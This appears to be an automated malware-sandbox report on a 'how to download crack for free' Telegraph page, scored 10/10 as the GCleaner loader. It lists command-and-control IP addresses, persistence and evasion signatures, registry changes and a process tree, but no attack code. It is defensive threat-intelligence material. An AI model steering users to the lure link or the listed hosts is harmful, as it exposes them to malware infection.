gcleaner | hxxps://telegra[.]ph/An-article-on-How-To-Download-Crack-For-Free-02-27

Analysis

max time kernel
176s
max time network
479s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
09-04-2023 20:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://telegra.ph/An-article-on-How-To-Download-Crack-For-Free-02-27

Score

10^/10

gcleaner loader

Malware Config

Extracted

Family

gcleaner

85.31.45.39

85.31.45.250

85.31.45.251

85.31.45.88

Signatures

GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Setup.exe

pid process

4204 Setup.exe

pid	process
4204	Setup.exe

Program crash 58 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4764	5772	WerFault.exe	CR_DBF.exe
6020	5772	WerFault.exe	CR_DBF.exe
4596	5772	WerFault.exe	CR_DBF.exe
5780	5772	WerFault.exe	CR_DBF.exe
6072	4748	WerFault.exe	CR_DBF.exe
1576	4748	WerFault.exe	CR_DBF.exe
5968	4748	WerFault.exe	CR_DBF.exe
748	4748	WerFault.exe	CR_DBF.exe
4452	4748	WerFault.exe	CR_DBF.exe
1276	4748	WerFault.exe	CR_DBF.exe
540	4748	WerFault.exe	CR_DBF.exe
5948	4748	WerFault.exe	CR_DBF.exe
2112	4748	WerFault.exe	CR_DBF.exe
4260	4748	WerFault.exe	CR_DBF.exe
5640	4748	WerFault.exe	CR_DBF.exe
5268	4748	WerFault.exe	CR_DBF.exe
6008	4748	WerFault.exe	CR_DBF.exe
1676	4748	WerFault.exe	CR_DBF.exe
4260	4748	WerFault.exe	CR_DBF.exe
1144	4748	WerFault.exe	CR_DBF.exe
6084	4748	WerFault.exe	CR_DBF.exe
5480	4748	WerFault.exe	CR_DBF.exe
2032	4748	WerFault.exe	CR_DBF.exe
3024	4748	WerFault.exe	CR_DBF.exe
5544	4748	WerFault.exe	CR_DBF.exe
1684	4748	WerFault.exe	CR_DBF.exe
3024	4748	WerFault.exe	CR_DBF.exe
1676	4748	WerFault.exe	CR_DBF.exe
540	4748	WerFault.exe	CR_DBF.exe
2124	4748	WerFault.exe	CR_DBF.exe
2280	4748	WerFault.exe	CR_DBF.exe
3512	4748	WerFault.exe	CR_DBF.exe
6024	4748	WerFault.exe	CR_DBF.exe
1532	4748	WerFault.exe	CR_DBF.exe
5276	4748	WerFault.exe	CR_DBF.exe
5536	4748	WerFault.exe	CR_DBF.exe
2764	4748	WerFault.exe	CR_DBF.exe
4208	4748	WerFault.exe	CR_DBF.exe
3448	4748	WerFault.exe	CR_DBF.exe
5320	4748	WerFault.exe	CR_DBF.exe
3368	4748	WerFault.exe	CR_DBF.exe
3376	4748	WerFault.exe	CR_DBF.exe
4956	4748	WerFault.exe	CR_DBF.exe
1836	4748	WerFault.exe	CR_DBF.exe
5808	4748	WerFault.exe	CR_DBF.exe
6020	4748	WerFault.exe	CR_DBF.exe
4956	4748	WerFault.exe	CR_DBF.exe
4536	4748	WerFault.exe	CR_DBF.exe
5728	4748	WerFault.exe	CR_DBF.exe
4336	4748	WerFault.exe	CR_DBF.exe
4248	4748	WerFault.exe	CR_DBF.exe
4956	4748	WerFault.exe	CR_DBF.exe
5176	4748	WerFault.exe	CR_DBF.exe
4272	4748	WerFault.exe	CR_DBF.exe
1980	4748	WerFault.exe	CR_DBF.exe
4076	4748	WerFault.exe	CR_DBF.exe
2972	4748	WerFault.exe	CR_DBF.exe
5640	4748	WerFault.exe	CR_DBF.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
5180	schtasks.exe
5780	schtasks.exe
3640	schtasks.exe
5564	schtasks.exe
2028	schtasks.exe
3360	schtasks.exe
428	schtasks.exe
2608	schtasks.exe
5572	schtasks.exe
3252	schtasks.exe
1360	schtasks.exe
2124	schtasks.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

3536 taskkill.exe

pid	process
3536	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 46 IoCs

adware spyware

Modify Registry

T1112

Processes:

IEXPLORE.EXEiexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Toolbar	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2654505097"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2654505097"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 2087cc92306bd901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2677878926"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31025968"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31025968"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31025968"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2754786797"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{C93CBFC1-D723-11ED-ABF7-DAE3AE61CC88} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "387843398"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31025968"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000675316f82fdac74aa8f3bd7995064a9700000000020000000000106600000001000020000000f141c8bc0f80006697e622bfa510c778c533008e45c4f8b819662097abc280e5000000000e8000000002000020000000c547f94c0b6847f2a18f75ce49b44827fb68e91fd91c43313a51486bdb1f930f200000004393cadfd1f55e272a2577eef28d18cc6e1a7169c01f48f990f94a8fecd0c08440000000b03bac6bc26b36d0146f238d0c171cb7a44c5c4f5e959e2b779e8c7cda03944dc3e89c54be5136b96b888845276cb293df8c62b0f68c280d626570fd9791498a	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe

Modifies registry class 1 IoCs

Processes:

firefox.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings firefox.exe
NTFS ADS 1 IoCs

Processes:

firefox.exe

description ioc process

File created C:\Users\Admin\Downloads\Install.rar:Zone.Identifier firefox.exe
Runs net.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	firefox.exe

description	ioc	process
File created	C:\Users\Admin\Downloads\Install.rar:Zone.Identifier	firefox.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

Processes:

firefox.exeAUDIODG.EXE7zG.exeSetup.exe

description	pid	process
Token: SeDebugPrivilege	1452	firefox.exe
Token: SeDebugPrivilege	1452	firefox.exe
Token: 33	5872	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5872	AUDIODG.EXE
Token: SeDebugPrivilege	1452	firefox.exe
Token: SeRestorePrivilege	5176	7zG.exe
Token: 35	5176	7zG.exe
Token: SeSecurityPrivilege	5176	7zG.exe
Token: SeSecurityPrivilege	5176	7zG.exe
Token: SeDebugPrivilege	4204	Setup.exe
Token: SeDebugPrivilege	1452	firefox.exe
Token: SeDebugPrivilege	1452	firefox.exe
Token: SeDebugPrivilege	1452	firefox.exe

Suspicious use of FindShellTrayWindow 8 IoCs

Processes:

iexplore.exefirefox.exe7zG.exe

pid process

4988 iexplore.exe
1452 firefox.exe
1452 firefox.exe
1452 firefox.exe
1452 firefox.exe
1452 firefox.exe
5176 7zG.exe
5176 7zG.exe
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

firefox.exe

pid process

1452 firefox.exe
1452 firefox.exe
1452 firefox.exe

pid	process
1452	firefox.exe
1452	firefox.exe
1452	firefox.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXEfirefox.exe

pid	process
4988	iexplore.exe
4988	iexplore.exe
4772	IEXPLORE.EXE
4772	IEXPLORE.EXE
2704	IEXPLORE.EXE
2704	IEXPLORE.EXE
2704	IEXPLORE.EXE
2704	IEXPLORE.EXE
1452	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

iexplore.exefirefox.exefirefox.exe

description	pid	process	target process
PID 4988 wrote to memory of 4772	4988	iexplore.exe	IEXPLORE.EXE
PID 4988 wrote to memory of 4772	4988	iexplore.exe	IEXPLORE.EXE
PID 4988 wrote to memory of 4772	4988	iexplore.exe	IEXPLORE.EXE
PID 4988 wrote to memory of 2704	4988	iexplore.exe	IEXPLORE.EXE
PID 4988 wrote to memory of 2704	4988	iexplore.exe	IEXPLORE.EXE
PID 4988 wrote to memory of 2704	4988	iexplore.exe	IEXPLORE.EXE
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 4348 wrote to memory of 1452	4348	firefox.exe	firefox.exe
PID 1452 wrote to memory of 4296	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 4296	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe
PID 1452 wrote to memory of 3776	1452	firefox.exe	firefox.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://telegra.ph/An-article-on-How-To-Download-Crack-For-Free-02-27
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4988

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4988 CREDAT:17410 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:4772

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4988 CREDAT:17412 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2704

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4348

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
- Checks processor information in registry
- Modifies registry class
- NTFS ADS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1452

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.0.835323016\606937223" -parentBuildID 20221007134813 -prefsHandle 1836 -prefMapHandle 1828 -prefsLen 20890 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {50706a45-8737-443e-89a5-38d7cadc6154} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 1916 28515c17d58 gpu
3⤵
PID:4296

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.1.261453665\13040287" -parentBuildID 20221007134813 -prefsHandle 2304 -prefMapHandle 2300 -prefsLen 20926 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {295445e0-a9f6-4015-9e86-0561ee40eb6a} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 2316 28507b71658 socket
3⤵
PID:3776

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.2.2003361421\185584499" -childID 1 -isForBrowser -prefsHandle 3068 -prefMapHandle 3088 -prefsLen 21009 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cd2f1c60-ec3c-4030-a045-43f10cb4bb8d} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 3052 285187f4e58 tab
3⤵
PID:3916

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.3.425047657\767016013" -childID 2 -isForBrowser -prefsHandle 1112 -prefMapHandle 3040 -prefsLen 26519 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {49a50360-7f9f-4783-9437-72f08cc6c4e6} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 3528 285171fc458 tab
3⤵
PID:2232

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.4.2030735151\284087733" -childID 3 -isForBrowser -prefsHandle 4084 -prefMapHandle 4080 -prefsLen 26519 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f7bf94a5-fc89-416a-837f-3f31995070bd} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 4100 28507b62b58 tab
3⤵
PID:4432

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.5.1097424479\340549183" -childID 4 -isForBrowser -prefsHandle 5136 -prefMapHandle 5132 -prefsLen 26657 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8674f8bc-64d3-45b8-b233-70268f1d8eb7} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 2916 2851879e558 tab
3⤵
PID:3288

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.7.1059891591\1761020444" -childID 6 -isForBrowser -prefsHandle 5316 -prefMapHandle 4964 -prefsLen 26657 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eb55b2e3-3959-46a2-9ffb-d142a4467280} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 2764 2851b24f358 tab
3⤵
PID:4368

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.6.1364584893\355595743" -childID 5 -isForBrowser -prefsHandle 4936 -prefMapHandle 4764 -prefsLen 26657 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dc5eab02-668a-421c-9883-10e54f9aca1a} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 2764 2851b0ae758 tab
3⤵
PID:2396

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.8.1916607935\1564475081" -childID 7 -isForBrowser -prefsHandle 5212 -prefMapHandle 5240 -prefsLen 26738 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c18ca62a-19f6-4c69-af6b-8e6193b62ab2} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 5232 2851b068e58 tab
3⤵
PID:5548

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.9.1338861141\1142696934" -childID 8 -isForBrowser -prefsHandle 5396 -prefMapHandle 4888 -prefsLen 27195 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {373781a4-3060-4a92-b902-c4be5df757ad} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 4820 28515c38258 tab
3⤵
PID:32

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.10.1971516048\2106074" -childID 9 -isForBrowser -prefsHandle 5276 -prefMapHandle 3568 -prefsLen 27195 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {61130b94-45a9-49ce-91f7-cf392393db0a} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 5288 2851f245c58 tab
3⤵
PID:4116

C:\Program Files\Mozilla Firefox\firefox.exe
